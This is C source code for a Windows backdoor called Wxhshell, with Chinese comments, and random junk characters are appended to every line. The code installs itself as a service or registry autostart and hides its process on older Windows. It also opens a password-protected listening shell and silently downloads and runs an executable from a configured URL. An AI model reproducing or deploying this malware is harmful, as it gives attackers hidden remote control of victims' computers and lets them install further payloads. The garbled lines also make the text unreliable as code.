QH9(l
DWORD AffinityMask; 2P@>H_JFF
DWORD BasePriority; FhAuTZk
ULONG UniqueProcessId; c*MjBAq
ULONG InheritedFromUniqueProcessId; FbWkT4t|
} PROCESS_BASIC_INFORMATION; |PDuvv!.f
hFj.d]S
PROCNTQSIP NtQueryInformationProcess; j$&k;S
9BNAj-Xa
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?2_u/x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7:{4'Wr@6|
:14O=C
HANDLE hProcess; p5c'gziR
PROCESS_BASIC_INFORMATION pbi; m!N_TOl-^
H,KU!1p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9"_qa q
if(NULL == hInst ) return 0; OQW#BBet@
1\kOjF)l
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J
A4'e@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5|S|HZ8G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qV9`
`S{< $:D
if (!NtQueryInformationProcess) return 0; burEo.=
q,$UKg#i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .'5yFBS
if(!hProcess) return 0; 2~ Gcoda
8X5;)h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dGP*bMCT
/o+,
=7hY
CloseHandle(hProcess); J>]' {!+
+7N6]pK|"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZCbxL.fFz
if(hProcess==NULL) return 0; m$pXe<
NVeb,Pf
HMODULE hMod; i+Ob1B@w
char procName[255]; 3,3{wGvHHW
unsigned long cbNeeded; g%1!YvS3v
91mXv Q:u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #x)G2T'?
V{ra,a*
CloseHandle(hProcess); H<X4R
P}DrUND
if(strstr(procName,"services")) return 1; // 以服务启动 L1P]T4a@)
_
CXKJ]m4
return 0; // 注册表启动 ~W%A8`9
} Wy)|-Q7
1fViW^l_
// 主模块 D#W{:_f
int StartWxhshell(LPSTR lpCmdLine) n_.2B$JD
{ 8[(c'rl|)|
SOCKET wsl; UFouIS#L
BOOL val=TRUE; pb_mW;JVu
int port=0; q|=tt(}G
struct sockaddr_in door; %zb7M%dC6`
&=X1kQG
if(wscfg.ws_autoins) Install(); QbxjfW"/+
(@uQ>dR:
port=atoi(lpCmdLine); P]]9Sqo7
Qn[4 &nUD
if(port<=0) port=wscfg.ws_port; P,CJy|[L
p
Ic;9
WSADATA data; *G'zES0x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @T?:[nPf&F
R4E0avt
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .<rL2`C[c
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _Dwn@{[(8
door.sin_family = AF_INET; scJ`oc:<J
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )amdRc
door.sin_port = htons(port); L4
x
/uW6P3M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \eI )(,A
closesocket(wsl); f*2V
return 1;
|cWW5\/
} B/i,QBPF]
Q(oWaG
if(listen(wsl,2) == INVALID_SOCKET) { [-s0'z
closesocket(wsl); rTDx|pvYx
return 1; &zb_8y,
} kxThtjgv
Wxhshell(wsl); wf6ZzG:
WSACleanup(); @>(l}5U5
1S
0GjR
return 0; ,;GWn
@ DU]XKv
} Uc<B)7{'
yr[iAi"
// 以NT服务方式启动 kx]f`b
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a!Z,~ V8
{ |1-0x%@[ ;
DWORD status = 0; kS/Zb3
DWORD specificError = 0xfffffff; ULjW589zb
B%^B_s
serviceStatus.dwServiceType = SERVICE_WIN32; <4rF3 aB-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k,X` }AJ6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3M+hjc.
serviceStatus.dwWin32ExitCode = 0; 75Jh(hd(
serviceStatus.dwServiceSpecificExitCode = 0; rM=Q.By+\
serviceStatus.dwCheckPoint = 0; |+x;18
serviceStatus.dwWaitHint = 0; HTf7r-
!@ai=p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4LUFG
if (hServiceStatusHandle==0) return; i\},
6.KR(V
status = GetLastError(); \hv*`ukF
if (status!=NO_ERROR) #u|;YC
{ Z;7f
D
serviceStatus.dwCurrentState = SERVICE_STOPPED; W*`2lf
serviceStatus.dwCheckPoint = 0; P[#V{%f*5
serviceStatus.dwWaitHint = 0; SZ1+h TY7d
serviceStatus.dwWin32ExitCode = status; :g+R}TR[i
serviceStatus.dwServiceSpecificExitCode = specificError;
p,]Hs{R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YUM%3
return; 2ai \("?
} S>*i^If
i?4vdL8M
serviceStatus.dwCurrentState = SERVICE_RUNNING;
c.KpXY
serviceStatus.dwCheckPoint = 0; VSms hld
serviceStatus.dwWaitHint = 0; d[-w&[iy
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1wE~dpnx
} @~QW~{y
uH65DI<
// 处理NT服务事件,比如:启动、停止 m`4Sp#m
VOID WINAPI NTServiceHandler(DWORD fdwControl) rguC#Xt!4
{ #x':qBv#
switch(fdwControl) -.ha\ t0J
{ HQQc<7c",
case SERVICE_CONTROL_STOP: j9x}D;?n
serviceStatus.dwWin32ExitCode = 0; Maf!,/U4
serviceStatus.dwCurrentState = SERVICE_STOPPED; pYceMZ$
serviceStatus.dwCheckPoint = 0; bYgrKz@uK
serviceStatus.dwWaitHint = 0; 'JKFEUzM
{ #*}4=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l4L&hY^
} w<-CKM3qe
return; BU<A+Pe>
case SERVICE_CONTROL_PAUSE: i^Ep[3
serviceStatus.dwCurrentState = SERVICE_PAUSED; v)okVyv
break; wEQV"I
case SERVICE_CONTROL_CONTINUE: Co[ rhs
serviceStatus.dwCurrentState = SERVICE_RUNNING; t9Pu:B6
break; ?J%$;"q
case SERVICE_CONTROL_INTERROGATE: i/-Xpj]Zf
break; *D*K`dk
}; VISNmz2P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;IXDZ#;
} xwTN\7f>
I$9t^82j
// 标准应用程序主函数 5~aSkg,MD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oPo<F5M]d%
{ x)THeH@
M=`F $
// 获取操作系统版本 FUvZMA$
OsIsNt=GetOsVer(); `fY~Lv{4d_
GetModuleFileName(NULL,ExeFile,MAX_PATH); psgXJe$
WnvuB.(@3
// 从命令行安装 ZK{VQ~
if(strpbrk(lpCmdLine,"iI")) Install(); ;W'y^jp]"
B~jl1g|
// 下载执行文件 E`u=$~K
if(wscfg.ws_downexe) { a}hpcr({?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J+Q
;'J
WinExec(wscfg.ws_filenam,SW_HIDE); 2/E3~X7
} 5?kF'yksR
F1w~f
<
if(!OsIsNt) { UccnQZ7/I
// 如果时win9x,隐藏进程并且设置为注册表启动 q 1Rk'k4+
HideProc(); ]wER&/v"
StartWxhshell(lpCmdLine); 8QXxRD;0:
} \m*?5]m;
else P7 H-Dw
if(StartFromService()) jxZR%D
// 以服务方式启动 b@/z^k{%
StartServiceCtrlDispatcher(DispatchTable); ?VCb@&*
else ]Tx8ImD#)A
// 普通方式启动 g5;
W6QX
StartWxhshell(lpCmdLine); M_Z*F!al<
7'J}|m{7
return 0; ?UcW@B{
} a% Q.8
]lXTIej`dy
0 #VH=p ga
YB*ZYpRVl
=========================================== 9bNjC&:4/]
$s)G0/~W
CLdLO u"
2%rAf8=
iNT 1lk
IT'~.!o7/
" bJx{mq
Tm.(gK
#include <stdio.h> .B6$U>>NS^
#include <string.h> 4%KNHeaN
#include <windows.h> k$i76r
#include <winsock2.h> |9?67-
#include <winsvc.h> #T99p+O
#include <urlmon.h> I}kx;!*b
oz(<e
#pragma comment (lib, "Ws2_32.lib") :@`Ll;G
#pragma comment (lib, "urlmon.lib") z<m,Xj4w
f:KKOLm
#define MAX_USER 100 // 最大客户端连接数 '<^%>R2
#define BUF_SOCK 200 // sock buffer \T/~"
w
#define KEY_BUFF 255 // 输入 buffer 9V0iV5?( P
>(<OhS(
#define REBOOT 0 // 重启 B&0-~o3WP
#define SHUTDOWN 1 // 关机 =L
7scv%i
|GA4fFE=
#define DEF_PORT 5000 // 监听端口 gX{V>T(<
A%"mySW
#define REG_LEN 16 // 注册表键长度 38>8{Ma
#define SVC_LEN 80 // NT服务名长度 f]h99T
CTD{!I(
// 从dll定义API .o]vjNrd/
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y(m/E.h.~
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y@Lv>p
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BikmAa
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6*A
S4l
ME>OTs
// wxhshell配置信息 |FS79Bv
struct WSCFG { OU]!2[7c
int ws_port; // 监听端口 v< xe(dC
char ws_passstr[REG_LEN]; // 口令 j;=+5PY
int ws_autoins; // 安装标记, 1=yes 0=no MV-fDqA(
char ws_regname[REG_LEN]; // 注册表键名 S@k4k^Vg
char ws_svcname[REG_LEN]; // 服务名 @-NdgM<
char ws_svcdisp[SVC_LEN]; // 服务显示名
|4\.",Bg
char ws_svcdesc[SVC_LEN]; // 服务描述信息 G;Q)A$-
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =4RnXZ[P0
int ws_downexe; // 下载执行标记, 1=yes 0=no )U6T]1
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $"!"=v%B
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *S~gF/*kP
$Dxz21|P7
}; h:Q*T*py
1Yo9Wf;vP
// default Wxhshell configuration eRWTuIV6
struct WSCFG wscfg={DEF_PORT, PB.@G,)
"xuhuanlingzhe", IR;lt 3
1, 1ZJP.T`
"Wxhshell", ^.&